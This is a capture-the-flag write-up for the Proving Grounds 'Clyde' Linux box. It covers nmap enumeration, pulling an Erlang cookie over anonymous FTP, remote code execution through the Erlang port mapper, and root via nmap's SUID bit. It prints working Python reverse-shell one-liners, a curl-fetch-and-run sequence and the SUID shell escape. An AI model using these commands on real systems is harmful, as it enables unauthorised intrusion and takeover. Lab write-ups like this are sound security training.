Proving Grounds - Clyde (Hard)

Apr 27, 22

Introduction

This is a Hard Linux box on Proving Grounds.

Enumeration

Immediately when we begin to enumerate this box we can see a massive amount of data is available to us on an FTP server. It looks like the /bin/ directory is being served over FTP.

$ sudo nmap --min-rate 100 -sV -sC -T4  192.168.216.68 -oA nmap/versions                              
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-26 12:13 EDT
Stats: 0:00:26 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 12:14 (0:00:08 remaining)
Nmap scan report for ip-192-168-216-68.eu-west-1.compute.internal (192.168.216.68)
Host is up (0.022s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT      STATE  SERVICE VERSION
21/tcp    open   ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 ftp      ftp          4096 Apr 24  2020 PackageKit
| drwxr-xr-x    5 ftp      ftp          4096 Apr 24  2020 apache2
| drwxr-xr-x    5 ftp      ftp          4096 Sep 21  2020 apt
| drwxr-xr-x    2 ftp      ftp          4096 Apr 22  2020 dbus
| drwxr-xr-x    2 ftp      ftp          4096 Apr 24  2020 dhcp
| drwxr-xr-x    7 ftp      ftp          4096 Sep 21  2020 dpkg
| drwxr-xr-x    2 ftp      ftp          4096 Apr 20  2020 git
| drwxr-xr-x    2 ftp      ftp          4096 Apr 24  2020 initramfs-tools
| drwxr-xr-x    2 ftp      ftp          4096 May 07  2020 logrotate
| drwxr-xr-x    2 ftp      ftp          4096 Sep 08  2019 misc
| drwxr-xr-x    5 ftp      ftp          4096 Feb 15 10:01 mysql
| drwxr-xr-x    2 ftp      ftp          4096 Jul 13  2017 os-prober
| drwxr-xr-x    2 ftp      ftp          4096 Apr 24  2020 pam
| drwxr-xr-x    4 ftp      ftp          4096 Apr 24  2020 php
| drwx------    3 ftp      ftp          4096 Apr 24  2020 polkit-1
| drwxr-xr-x    2 ftp      ftp          4096 Apr 24  2020 python
| drwxr-xr-x    3 ftp      ftp          4096 May 08  2020 rabbitmq
| drwxr-xr-x    2 ftp      ftp          4096 Apr 24  2020 sgml-base
| drwxr-xr-x    6 ftp      ftp          4096 Apr 22  2020 systemd
| drwxr-xr-x    3 ftp      ftp          4096 Apr 30  2020 ucf
|_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.49.216
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open   ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 df:63:99:a4:cf:79:00:c8:b1:d6:67:97:81:4d:4f:af (RSA)
|   256 bd:9b:35:41:34:a2:5a:4c:fa:1b:9f:f1:36:f3:6a:fd (ECDSA)
|_  256 db:96:ee:8d:29:2b:f4:a3:58:b2:fb:c1:ac:65:92:48 (ED25519)
53/tcp    closed domain
80/tcp    open   http    Apache httpd 2.4.25 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.25 (Debian)
65000/tcp open   unknown
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 146.24 seconds

Running a further Nmap scan over the full port range we see the RabbitMQ service is running, alongside the Erlang Port Mapper Daemon. On port 15672 the management portal for RabbitMQ is available.

$ sudo nmap --min-rate 100 -p- -T4  192.168.216.68 -oA nmap/all  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-26 12:14 EDT
Nmap scan report for ip-192-168-216-68.eu-west-1.compute.internal (192.168.216.68)
Host is up (0.023s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE  SERVICE
21/tcp    open   ftp
22/tcp    open   ssh
53/tcp    closed domain
80/tcp    open   http
4369/tcp  open   epmd
15672/tcp open   unknown
65000/tcp open   unknown

PORT      STATE  SERVICE    VERSION
4369/tcp  open   epmd       Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|   nodes: 
|_    rabbit: 65000
15672/tcp open   http       Cowboy httpd
|_http-title: RabbitMQ Management
|_http-server-header: Cowboy

Webserver

As mentioned on port 15672 we have RabbitMQ.

Trying default creds guest:guest unfortunately does not work (worth a try!).

Since we have anonymous FTP access, we can try pulling the rabbitmq directory there to search for any config files. These may contain credentials.

wget -r ftp://anonymous@192.168.216.68/rabbitmq

Searching the strings of rabbitmq data files, I found some possible users seth and clyde. But bruteforcing is not possible as it appears there is an account lock out feature.

After searching for a long time I found an erlang cookie in the rabbitmq directory (always remember to check for hidden files!)

┌──(kali㉿pm-kali)-[~/…/provingGrounds/clyde/192.168.216.68/rabbitmq]
└─$ ls -la             
total 16
drwxr-xr-x  3 kali kali 4096 Apr 26 12:23 .
drwxr-xr-x 13 kali kali 4096 Apr 26 12:47 ..
-rw-r--r--  1 kali kali   20 Apr 24  2020 .erlang.cookie
drwxr-xr-x  6 kali kali 4096 Apr 26 12:24 mnesia
                                                                                                                          
┌──(kali㉿pm-kali)-[~/…/provingGrounds/clyde/192.168.216.68/rabbitmq]
└─$ cat .erlang.cookie 
JPCGJCAEWHPKKPBXBYYB

This can be used to gain RCE via Erlang Port Mapper Daemon. A Python exploit exists for this - 49418 - Erlang Cookie - Remote Code Execution

Initial Access

Erlang allows distributed Erlang instances to connect and remotely execute commands. Nodes are permitted to connect to eachother if they share an authentication cookie, this cookie is commonly called “.erlang.cookie”

TARGET = "192.168.216.68"
PORT = 65000
COOKIE = "JPCGJCAEWHPKKPBXBYYB"

This was awkward to get a reverse shell. Had to put a Python revshell for port 21 in a bash script - curl chmod execute, separately.

$ cat test2.sh                        
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.216",21));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Sending curl first:

TARGET = "192.168.216.68"
PORT = 65000
COOKIE = "JPCGJCAEWHPKKPBXBYYB"
CMD = "curl http://192.168.49.216/test2.sh -o test2.sh"

Changing mode and executing separately:

TARGET = "192.168.216.68"
PORT = 65000
COOKIE = "JPCGJCAEWHPKKPBXBYYB"
CMD = "chmod +x test2.sh; ./test2.sh"

Alternately we could’ve sent the reverse shell on its own and escaped the quotes e.g.

CMD = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.118.6\",15672));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

Privilege Escalation

Nmap has a SUID bit set but there is no sudo on this box…

Looked around a lot but tried the Limited SUID technique to GTFObins and it does vaguely work. Through this we could probably spawn a full reverse shell. But this is enough to grab the root hash.

echo 'os.execute("/bin/sh")' > test 
nmap --script=test